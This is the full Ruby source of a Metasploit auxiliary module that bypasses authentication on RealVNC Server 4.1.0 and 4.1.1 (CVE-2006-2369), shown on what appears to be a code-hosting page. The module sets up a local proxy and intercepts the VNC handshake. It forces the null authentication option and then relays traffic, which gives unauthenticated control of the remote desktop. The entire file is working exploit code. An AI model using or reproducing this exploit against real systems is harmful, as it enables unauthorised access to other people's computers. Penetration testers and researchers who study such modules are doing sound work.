Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::Remote::Tcp
8

9
  def initialize(info = {})
10
    super(update_info(info,
11
      'Name'           => 'RealVNC NULL Authentication Mode Bypass',
12
      'Description'    => %q{
13
        This module exploits an Authentication bypass Vulnerability
14
        in RealVNC Server version 4.1.0 and 4.1.1. It sets up a proxy
15
        listener on LPORT and proxies to the target server
16

17
        The AUTOVNC option requires that vncviewer be installed on
18
        the attacking machine.
19
      },
20
      'Author'         =>
21
        [
22
          'hdm', #original msf2 module
23
          'theLightCosine'
24
        ],
25
      'License'        => MSF_LICENSE,
26
      'References'     =>
27
        [
28
          ['BID', '17978'],
29
          ['OSVDB', '25479'],
30
          ['URL', 'https://web.archive.org/web/20080102163013/http://secunia.com/advisories/20107/'],
31
          ['CVE', '2006-2369'],
32
        ],
33
      'DisclosureDate' => '2006-05-15'))
34

35
    register_options(
36
      [
37
        OptPort.new('RPORT',    [true, "The port the target VNC Server is listening on", 5900 ]),
38
        OptPort.new('LPORT',    [true, "The port the local VNC Proxy should listen on", 5900 ]),
39
        OptBool.new('AUTOVNC',  [true, "Automatically launch vncviewer from this host", false])
40
      ])
41
  end
42

43
  def run
44
    # starts up the Listener Server
45
    print_status("Starting listener...")
46
    listener = Rex::Socket::TcpServer.create(
47
      'LocalHost' => '0.0.0.0',
48
      'LocalPort' => datastore['LPORT'],
49
      'Context'   => { 'Msf' => framework, 'MsfExploit' => self }
50
    )
51

52
    # If the autovnc option is set to true this will spawn a vncviewer on the local machine
53
    # targeting the proxy listener.
54
    if (datastore['AUTOVNC'])
55
      unless (check_vncviewer())
56
        print_error("The vncviewer does not appear to be installed, exiting...")
57
        return nil
58
      end
59
      print_status("Spawning viewer thread...")
60
      view = framework.threads.spawn("VncViewerWrapper", false) {
61
          system("vncviewer 127.0.0.1::#{datastore['LPORT']}")
62
      }
63
    end
64

65
    # Establishes the connection between the viewier and the remote server
66
    client = listener.accept
67
    add_socket(client)
68

69
    # Closes the listener socket as it is no longer needed
70
    listener.close
71

72
    s = connect
73

74
    serverhello = s.get_once
75
    unless serverhello.include? "RFB 003.008"
76
      print_error("The server is not vulnerable")
77
      return
78
    end
79

80
    # MitM attack on the VNC Authentication Process
81
    client.puts(serverhello)
82
    clienthello = client.get_once
83
    s.puts(clienthello)
84

85
    authmethods = s.read(2)
86

87
    print_status("Auth methods received. Sending null authentication option to client")
88
    client.write("\x01\x01")
89
    client.read(1)
90
    s.put("\x01")
91
    s.read(4)
92
    client.put("\x00\x00\x00\x00")
93

94
    # Handles remaining proxy operations between the two sockets
95
    closed = false
96
    while(closed == false)
97
      sockets =[]
98
      sockets << client
99
      sockets << s
100
      selected = select(sockets,nil,nil,0)
101
      #print_status ("Selected: #{selected.inspect}")
102
      unless selected.nil?
103

104
        if selected[0].include?(client)
105
          begin
106
            data = client.get_once
107
            if data.nil?
108
              print_error("Client closed connection")
109
              closed = true
110
            else
111
              s.put(data)
112
            end
113
          rescue
114
            print_error("Client closed connection")
115
            closed = true
116
          end
117
        end
118

119
        if selected[0].include?(s)
120
          begin
121
            data = s.get_once
122
            if data.nil?
123
              print_error("Server closed connection")
124
              closed = true
125
            else
126
              client.put(data)
127
            end
128
          rescue
129
            closed = true
130
          end
131
        end
132
      end
133
    end
134

135
    # Close sockets
136
    s.close
137
    client.close
138

139
    if (datastore['AUTOVNC'])
140
      view.kill rescue nil
141
    end
142
  end
143

144
  def check_vncviewer
145
    vnc =
146
      Rex::FileUtils::find_full_path('vncviewer') ||
147
      Rex::FileUtils::find_full_path('vncviewer.exe')
148
    if (vnc)
149
      return true
150
    else
151
      return false
152
    end
153
  end
154
end
155

156